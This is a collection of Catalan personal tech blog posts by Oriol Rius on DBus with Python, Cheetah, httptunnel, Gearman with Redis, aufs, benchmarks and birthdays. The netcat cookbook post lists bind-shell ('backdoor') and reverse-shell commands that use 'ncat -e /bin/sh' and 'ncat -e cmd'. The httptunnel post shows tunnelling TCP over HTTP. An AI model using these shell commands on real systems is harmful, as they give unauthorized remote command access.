Author: Oriol Rius

Video del meu 30è aniversari, potser una mica tard?

Reading time: 2 – 2 minutes

Dilluns i dimarts he estat per Vinaròs després de molt de temps de no estar per la zona. Desrpés de 3 anys d’esperar va ser el moment perquè m’entreguessin el video que em van fer per felicitar-me el 30è aniversari, o sigui, el que correspon a l’any 2007. Com que el video s’ho val el penjo a Youtube perquè el pogueu veure.

Part 1:

Part 2:

Per cert, aquesta part del video és només de la gent de Vinaròs, els altres videos que m’han comentat que m’havien fet altres persones encara no els he vist, cosa que ja té delicte 😉

dbus+python: emetent i rebent senyals

Reading time: 44 – 73 minutes

Feia massa temps que no jugava amb DBUS i les he passat una mica negres aquesta tarda intentant recordar com funcionava tot plegat. La qüestió de base és molt senzilla, com que el codi parla per si mateix. Simplement adjuntaré els dos codis.

Receptor de senyals DBUS, rep la senyal amb format ‘string’ i la mostra:

#!/usr/bin/env python
#--encoding: UTF-8--
"""
entra en un loop esperant senyals emeses a:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
quan es rep la senyal la mostrem
"""
import gobject
import dbus
import dbus.mainloop.glib

def mostra(m):
    print m

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SessionBus()
bus.add_signal_receiver(
                 mostra,
                 path="/cat/oriolrius/prova/senyal",
                 dbus_interface="cat.oriolrius.prova",
                 signal_name = "estat"
                )
loop = gobject.MainLoop()
loop.run()

Emisor de senyals DBUS, envia una senyal de tipus ‘string’ amb el contingut ‘hola’:

#!/usr/bin/env python
#--encoding: UTF-8--
"""
Emet una senyal a dbus, al bus 'session' amb destí:
  dbus_interface = cat.oriolrius.prova
  object_path = "/cat/oriolrius/prova/senyal"
amb nom de senyal: 'estat'
"""
import gobject
import dbus
from dbus.service import signal,Object
import dbus.mainloop.glib

class EmetSenyal(Object):
    def __init__(self, conn, object_path='/'):
        Object.__init__(self, conn, object_path)

    @signal('cat.oriolrius.prova')
    def estat(self,m):
        global loop
        print("senyal emesa: %s" % m)
        gobject.timeout_add(2000, loop.quit)

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
loop = gobject.MainLoop()
bus = dbus.SessionBus()
o = EmetSenyal(bus,object_path='/cat/oriolrius/prova/senyal')
o.estat('hola')
loop.run()

Usant el ‘dbus-monitor’ es pot veure la traça del missatge:

signal sender=:1.634 -> dest=(null destination) serial=2 path=/cat/oriolrius/prova/senyal; interface=cat.oriolrius.prova; member=estat
   string "hola"

Cheetah – the python powered template engine

Reading time: 2 – 3 minutes

Un article ‘fast-n-dirty’ sobre potser la millor llibreria que he trobat per treballar amb templates i python: Cheetah. Es tracta de poder generar fitxers de texte de forma senzilla: fitxers de configuració, pàgines web, emails, etc. a partir de plantilles. Realment útil en molts entorns.

Les funcionalitats (copy-paste de la web):

  • is supported by every major Python web framework.
  • is fully documented and is supported by an active user community.
  • can output/generate any text-based format.
  • compiles templates into optimized, yet readable, Python code.
  • blends the power and flexibility of Python with a simple template language that non-programmers can understand.
  • gives template authors full access to any Python data structure, module, function, object, or method in their templates. Meanwhile, it provides a way for administrators to selectively restrict access to Python when needed.
  • makes code reuse easy by providing an object-oriented interface to templates that is accessible from Python code or other Cheetah templates. One template can subclass another and selectively reimplement sections of it. Cheetah templates can be subclasses of any Python class and vice-versa.
  • provides a simple, yet powerful, caching mechanism that can dramatically improve the performance of a dynamic website.
  • encourages clean separation of content, graphic design, and program code. This leads to highly modular, flexible, and reusable site architectures, shorter development time, and HTML and program code that is easier to understand and maintain. It is particularly well suited for team efforts.
  • can be used to generate static html via its command-line tool.

a qui va orientat (copy-paste de la web):

  • for programmers to create reusable components and functions that are accessible and understandable to designers.
  • for designers to mark out placeholders for content and dynamic components in their templates.
  • for designers to soft-code aspects of their design that are either repeated in several places or are subject to change.
  • for designers to reuse and extend existing templates and thus minimize duplication of effort and code.
  • and, of course, for content writers to use the templates that designers have created.

My Workspace

Reading time: 2 – 2 minutes

Aquest és el meu entorn de treball a dia d’avui, de fet, he volgut mostrar-lo perquè volia provar de fer una petita integració entre jquery-notes i wordpress. Ja que jo diria que malgrat aquesta funcionalitat és típica de flickr quan s’exporten imatges des d’aquest sistema al nostre blog les notes de la imatge es perden. Així doncs, he pensat que era una bona idea tenir el meu propi sistema de posar notes a les imatges.
La cosa ha estat senzilla només:

  • he creat un directori al servidor del blog on he posat el jquery-notes, jquery-ui i jquery he posat els permisos corresponents als directoris.
  • he modificat les headers del wordpress perquè incloguin el codi de jquery-notes, jquery-ui i jquery. A més del CSS propi del jquery-notes i un petit script per declarar el comportament de jquery sobre la classe “jquery-note”.
  • després al crear un article amb la imatge i afegir-li la classe “jquery-note” automàticament s’afegeixen les notes que li he posat a la imatge.
  • per posar-li notes a les imatges calen els paràmetres corresponents al script afegit a les headers del wordpress.

UPDATE: casualment avui al blog: freelance switch han pubilcat un article amb diversos workspaces.

httptunnel: TCP sobre HTTP

Reading time: 7 – 11 minutes
HTTPtunnel logo

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

  • hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
  • htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

  • suportar autenticació Digest i NTLM.
  • permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
  • poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
  • suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

Somiant amb una extenció pel Gearman

Reading time: 5 – 8 minutes

Cal dir que no sóc massa ordenat al presentar noves tecnologies ja que primer de tot vaig fer un bechmark sobre Gearman abans de fer-ne una introducció, doncs bé com que en aquest article vull parlar sobre unes possibles extensions sobre les que vull treballar amb Gearman primer de tot faré una petit introducció al projecte.

Introducció

Gearman és el que comunment anomenem un servidor de tasques, o sigui, que quan el nostre codi ha de demanar una tasca, funcionalitat, treball, o quelcom similar és molt interessant de cara a:

  • l’escalavilitat: podem tenir tants servidors i/o processos consumint tasques com ens interessi.
  • paral·lelisme: les tasques es poden consumir paral·lelament.
  • balanceix de càrrega: podem fer map/reduce sobre les tasques i enviar-les als servidors que ens interessis per distribuir la càrrega.
  • independència entre lleguatges: el codi que demana la tasca i el que consumeix la tasca poden ser totalment diferents, les llibreries que té Gearman són: PHP, Pearl, Ruby, C, Python, etc.
  • interficie HTTP: a més disposa d’una interficie client HTTP que ens permetra injectar tasques desde llenguatges no suportats des de les llibreries de Gearman.

usar un servidor d’aquest tipus, ja que a més de permetrens demanar tasques síncrones, també podem demanar-li tasques asíncrones. O sigui, que no només no sabem qui ens esta fent la feina limitant-nos a rebre’n el resultat sinó que també podem demanar que aquesta feina es faci quan es pugui.

Per si tot això no fos poc encara hi ha més avantatges:

  • Open Source
  • Programat en C
  • Petit i molt ràpid
  • Suporta diversos backends: RAM, SQLite, Memcached, Tokyo Cabinet, etc.

gearman stack

La gent que va començar a implementar Gearman, van ser els de Danga Interactive famosos per LiveJournal i SixApart.

Les meves idees

Després d’aquesta introducció, ara ja puc parlar de les coses que voldria que fes Gearman però que no fa. Primer de tot he de parlar de les avantatges que tindria si pogués tenir un backend contra Redis. El que persegueixo al connectar Redis amb Gearman és aconseguir:

  • persistència de tasques malgrat es reiniciï Gearman
  • persistència de tasques en disc malgrat es reinciï Redis, gràcies a:
    • l’escriptura asíncrona a disc
    • bgrewriteaof: evita que per l’escriptura asíncrona d’informació es perdin dades al reinciar bruscament Redis
  • publicar a un canal PubSub de Redis els canvis que es fan sobre una tasca que s’ha enviat a ‘background’

Integració amb Redis

Es tracata de fer el mateix que s’ha per integrar backend de tokyo cabinet: queue_libtokyocabinet.c el problema d’usar tokyo cabinet contra disc és la pèrdua brutal de rendiment respecte a usar-lo contra RAM, ja que les escriptures es fan de forma síncrona.

A nivell de codi les semblances més grans són amb: queue_libmemcached.c, malgrat el problema que té aquesta implementació és que cada cop que reiniciem memcached no tenim persistència de la informació que s’havia guardat en memcached, és com si les claus que s’han intrudit en l’anterior sessió s’haguessin esborrat. A més memcached no suporta persistència en les seves dades tampoc.

Així doncs, el que cal fer és agafar el millor d’amdues integracions i fer el mòdul amb Redis.

Subscripció a les actualitzacions d’una tasca via Redis

Quan s’envia una tasca en segon pla a Gearman aquest ens retorna un ‘Handler’ per poder preguntar sobre l’estat de la tasca, el problema és que si volem saber com evoluciona la tasca o que ens informi quan ha acabat no hi ha manera de saber-ho si no és fent ‘pooling’. Per altre banda, el ‘worker’ va actualitzant la tasca cada quan creu convenien perquè Gearman pugui saber quin és l’estat de la mateixa.

La meva idea és que al usar el backend de Redis, al mateix moment que s’actualitzi l’estat de la tasca també es publiqui (publish) a un canal PubSub de Redis de forma que el codi que ha enviat la tasca pugui subscriures (subscribe) a aquest canal i en temps real i amb un cost de recursos baixíssim es pugui seguir l’estat de la tasca. Això ens evitaria la necessitat de que Gearman hagués de poder cridar un mètode de callback per informar-nos de l’estat de la mateixa, ja que hi ha alguns llenguatges en que fer això no és tan senzill.

En el gràfic que enganxo a continuació podem veure un esquema que he fet sobre això:

esquema idees de Gearman amb Redis

1) el nostre codi envia una tasca en ‘background’ (segon pla) a Gearman i aquest li torna un ‘Handler’ per identificar la tasca.

2) es guarda la tasca a Redis (set)

3) el nostre codi es subscriu al canal PubSub de la tasca

4) un worker demana la tasca

5) es publica l’estat de la tasca

6) es va actualitzant l’estat de la tasca

7) es van repetint els punts (5) i (6) fins acabar la tasca

Feedback

Com sempre s’accepten tota mena de crítiques i idees sobre la meva ‘paranoia’.

netcat – cookbook

Reading time: 72 – 119 minutes
  • client TCP, en aquest cas HTTP
C:\client>ncat google.com 80
GET / HTTP/1.1
  • client telnet:
C:\client>ncat -t 192.168.1.1 23
  • simula un servidor TCP/HTTP molt simple:
C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80
  • servidor UDP:
C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt
  • es pot especificar el port i IP origen a usar:
C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1
  • interconnecta clients, ‘proxy-tcp’
C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • servidor de ‘chat’ molt simple
C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • client TCP+SSL:
C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1
  • transmissió de fitxers via TCP+SSL:
C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)
  • proxy molt simple:
C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl
  • shell amb backdoor:
    • Linux:
ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23
    • Windows:
C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23
  • Reverse Shell (aka: Shovel Shell)
C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd
  • netcat relay
C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"

Aufs – la evolució del unionfs

Reading time: 2 – 2 minutes

En les properes setamenes hauré de tornar-me a posar les piles amb els sistemes de fitxers COW(Copy-On-Write), ja havia jugat molt amb unionfs per tal de montar un player linux de digital signage fa uns 2 anys. Però ara estic fent una integració amb MeeGo que porta per defecte el sistema de fitxers BRTFS el qual presenta moltíssimes diferencies en comparació a un sistema de fitxers amb journaling normal com podria ser ext3 i ext4.

La qüestió és que em cal intentar assegurar el bon funcionament d’un sistema operatiu a cada arrencada i havia pensat que potser això podia ser una bona idea, bé ja aniré explicant els resultats del experiments quan toquin. Ara només volia avançar-vos algunes de les funcionalitats i millores que suposa aufs respecte unionfs.

  • permet unir diferents directoris en un directori virtual nou, a cada directori se l’anomenarà una ‘branch’
  • a cada ‘branch’ li podem especificar una ‘flag’ diferent: ‘readonly’, ‘readwrite’ i ‘whiteout-able’
  • gràcies a al nou directori virtual podem simular la capacitat de modificar, afegir i borrar elements en un directori de només lectura
  • suporta la capacitat d’afegir/treure ‘branch’ d’un directori virtual en calent

La llista de funcionalitats és força més llarga però el més important és que el nou aufs és molt més ràpid i confiable que el unionfs.

benchmarking: gearman, couchdb i redis

Reading time: 2 – 3 minutes

No es tracta d’unes proves de rendiment serioses i estríctes, però almenys en el meu cas m’han servit per tenir una idea del rendiment d’aquestes aplicacions i poder dissenyar diferents arquitectures amb una mica més de coneixement de causa.

Per si no coneixeu les eines:

  • gearman: servidor de tasques
  • couchdb: sistema de bases de dades no relacional
  • redis: sistema de caché similar a memcached, però molt millor sota el meu punt de vista

Sistema sobre el que s’han fet les proves:

  • HP ML110 G5 – Xeon 2GHz – 4GB RAM – HD via NFS
    • Rendiment del disc: Timing buffered disk reads:   26 MB in  3.00 seconds =   8.66 MB/sec
  • SO Hypervisor: VMWare ESXi 3.5
  • Servidor virtual: 1 CPU 2GHz i 512Mb RAM
  • SO Guest: Ubuntu 8.04 Hardy

Resultats de les proves:

  • client de gearman, fa 5.000 requests al servidor:
    • gearman backend: default, cua no persistent
      • cmd: gearmand -vvv -u root
      • temps: ~32s – rendiment: ~156req/s
    • gearman backend: sqlite3, cua persistent
      • cmd: gearmand -vvv -u root –libsqlite3-db=/tmp/gearman_sqlite3.cache -q libsqlite3
      • temps: ~11m10s – rendiment: ~0.8req/s
    • gearman backend: tokyo cabinet btree, cua persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tcb -vvv -u root
      • temps: ~2m3s – rendiment: ~40req/s
    • gearman backend: tokyo cabinet hash, cua persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=/tmp/gearmand.tch -vvv -u root
      • temps: ~2m5s – rendiment: ~40req/s
    • gearman backend: tokyo cabinet RAM, cua no persistent
      • cmd: gearmand -q libtokyocabinet –libtokyocabinet-file=”*” -vvv -u root
      • temps: ~17s – rendiment: ~294req/s
  • insertem 5.000 documents a couchdb:
    • temps: ~14s – rendiment: ~357req/s
  • redis fem 10.000 operacions de tipus:
    • SET: temps: ~0.35s – rendiment: ~28.375req/s
    • GET: temps: ~0.59s – rendiment: ~16.920req/s
    • PING: temps: ~0.33s – rendiment: ~30.471req/s

avui ja en faig 33

Reading time: 3 – 4 minutes

m’hi acabo de fixar, 33 com el canal 33… si és que jo també em fixo amb unes coses més extranyes.

33rd birth cup

Doncs bé, com sempre passa en aquests dies no m’he aixecat massa diferent que cap altre, tot i que he de reconeixer que el “Petit Chardonnay de Jean Leon” del sopar ha fet estragos aquesta nit. Afegir a més la recomanació del restaurant Lledoners a Sant Quintí de Mediona ja hi havia anat a dreginar uns quants cops amb el Francesc però ahir el vaig poder provar en el seu màxim esplendor i ens va agradar molt. A més com a anècdota comentar que m’hi vaig trobar el Joan Olvieres que havia estat tutor meu a 3er de BUP a més de delegat de l’equip d’hoquei patins on erem companys amb el seu fill, per fer-ho més recargolat compartia taula amb l’ex-alcalde de Torrelavit entre d’altres cares conegudes.
Pel que fa als regals destacar la raqueta de tenis que tan desitjava que m’arribes que com no podia ser d’altre forma m’ha regalat el meu “amoriuo”, una Babolat Pure Drive.

babolat pure drive

Per continuar el dia amb el bon peu que l’he començat ara toca una bona i emocionant cursa de F1 al circuit de casa, a Montmeló. Això si des del sofà de casa, que de moment fer-ho des del circuit continua sent una assignatura pendent, però tot arribarà. De fet, des de que vaig ser a la final de la Copa Davis d’aquest any diria que ja tot és possible.

Que no se m’oblidi comentar-ho també, el meu autoregal aquest any ha estat una tauleta gràfica, exactament una Wacom Bamboo Pen & Touch.

Wacom Bamboo Pen & Touch

Bàsicament les funcions que li vull donar són:

  • fer esquemes a mà alçada, sense haver d’invertir tan de temps passant-los a net amb Visio, per exemple.
  • deixar de fer podcasts per passar a fer screencasts al blog, o sigui, anar fent petits esquemes o dibuixos sobre els temes que toco als podcast, ja que pel que m’han comentat es fan difícils de seguir sense un esquema.
  • per temes de feina sovint mantic llargues converses telefòniques, ja sigui, via VoIP, per fixe o mòbil; les temàtiques sovint són molt tècniques i difícils de traslladar només amb la veu espero que compartint l’escriptori i fent esquemes això pugui ser més senzill.

Així doncs, el pretenc és millorar les meves eines de comunicació telemàtica recolzant-me amb aquesta nova forma d’interactuar amb l’ordinador. Per si tot això fos poc, ja fa dies que estic donant voltes a com reordenar el meu workspace ja que no acabo d’estar del tot còmode i crec que no acabo de treure-li tot el partit que deuria, així doncs li segueixo donant voltes.

Scroll to Top